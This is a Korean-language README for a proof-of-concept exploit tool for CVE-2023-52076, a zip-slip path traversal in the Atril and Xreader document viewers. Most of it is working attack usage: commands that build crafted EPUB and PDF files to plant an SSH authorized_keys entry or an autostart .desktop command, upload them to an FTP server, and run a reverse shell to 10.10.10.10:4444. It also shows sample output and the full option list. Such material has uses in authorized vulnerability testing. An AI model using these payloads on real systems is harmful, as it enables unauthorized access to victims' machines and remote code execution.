
CVE-2023-52076에 대한 PoC 익스플로잇 - Atril/Xreader(MATE/Cinnamon)의 zip-slip 경로 탐색 취약점으로, 조작된 EPUB를 통해 임의 파일 쓰기 및 RCE를 가능하게 합니다. 승인된 보안 테스트 전용입니다.
CVE-2023-52076에 대한 개념 증명(PoC)으로, MATE 데스크톱 환경에 영향을 주는 Atril/Xreader 문서 뷰어의 치명적인 경로 탐색 및 임의 파일 쓰기 취약점입니다.
이 스크립트는 SSH 구성 또는 자동 시작 데스크톱 항목을 대상으로 하는 zip-slip 경로가 포함된 조작된 EPUB 페이로드를 생성하여, 대상 시스템에서 원격 코드 실행을 가능하게 합니다.
/proc/self/cwd 가젯을 사용하여 5~9가지 경로 탐색 변형에 페이로드를 기록합니다..epub 및 .pdf 사본을 생성합니다(둘 다 취약점을 트리거합니다).Python 3.8+
ssh-keygen in PATH (SSH mode only)
SSH 페이로드를 로컬에서 생성합니다:
python3 cve_2023_52076.py --mode ssh
사용자 지정 명령으로 자동 시작 RCE 페이로드를 생성합니다:
python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"
python3 cve_2023_52076.py \
--mode ssh \
--name slippy-ssh \
--key ./keys/atril_rsa \
--output-dir ./payloads \
--upload \
--host ftp.target.local \
--ftp-dir pub
출력 예시:
[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub
[+] Payload ready
Mode: SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key: ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB: ./payloads/slippy-ssh.epub
PDF copy: ./payloads/slippy-ssh.pdf
[+] SSH login remains manual:
ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes <user>@<target>
python3 cve_2023_52076.py \
--mode autostart \
--command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
--name slippy-rce \
--output-dir ./payloads \
--upload \
--host ftp.target.local \
--ftp-dir pub
출력 예시:
[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.
[+] Payload ready
Mode: Autostart (.desktop RCE)
Command: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB: ./payloads/slippy-rce.epub
PDF copy: ./payloads/slippy-rce.pdf
[+] Victim must logout/login for autostart to trigger
--mode {ssh,autostart}
Payload mode. Default: ssh
ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
autostart: Create .desktop RCE in autostart (triggers on next logout/login).
--command <CMD>
Payload command for --mode autostart. Required if --mode autostart.
Example: --command "id > /tmp/pwned.txt"
--name <NAME>
Local payload basename. Default: base-clean
--key <PATH>
Private key path (SSH mode only). Default: slippy_rsa
--key-bits <BITS>
RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072
--output-dir <DIR>
Output directory for .epub/.pdf. Default: output
--upload
Upload the payload to FTP after generating.
--host <HOST>
FTP target host or IP. Required if --upload is set.
--port <PORT>
FTP port. Default: 21
--ftp-dir <DIR>
Remote FTP directory, e.g. pub.
--ftp-user <USER>
FTP username. Default: anonymous
--ftp-password <PWD>
FTP password. Default: anonymous@
--remote-name <NAME>
Remote EPUB filename. Default: ludwig.epub
--upload-pdf
Upload the .pdf copy instead of the .epub.
--force
Replace existing output and key files.
--timeout <SECONDS>
FTP connection timeout. Default: 10.0
--only-final
Hide progress logs and print only the final summary.
--no-color
Disable ANSI colors.
--debug
Print executed subprocess commands (ssh-keygen).
~/.ssh/authorized_keys에 공개 키를 기록합니다.~/.config/autostart/에 .desktop을 기록합니다..desktop 파일이 명령을 자동 실행합니다./proc/self/cwd 가젯이 추출 시점에 경로를 해석합니다.--upload는 필요할 때만 사용).--upload)로 전달합니다.이 PoC는 공인된 보안 테스트, 실험실 환경 및 취약점 검증을 위해 제작되었습니다. 명시적 허가 없이 시스템에 사용하지 마십시오.